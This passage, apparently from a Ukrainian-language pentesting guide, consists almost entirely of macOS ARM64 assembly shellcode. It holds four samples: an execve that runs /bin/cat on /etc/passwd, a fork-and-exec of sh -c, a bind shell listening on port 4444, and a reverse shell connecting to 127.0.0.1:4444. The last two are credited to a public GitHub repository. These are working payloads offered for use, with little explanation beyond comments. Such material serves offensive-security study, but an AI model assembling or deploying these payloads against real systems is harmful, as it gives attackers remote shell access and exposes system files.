.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

Виклик команди з sh з відгалуження, щоб головний процес не був завершений

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

Прив'язка оболонки

Прив'язка оболонки з https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s на порт 4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Зворотній shell

З https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell до 127.0.0.1:4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Last updated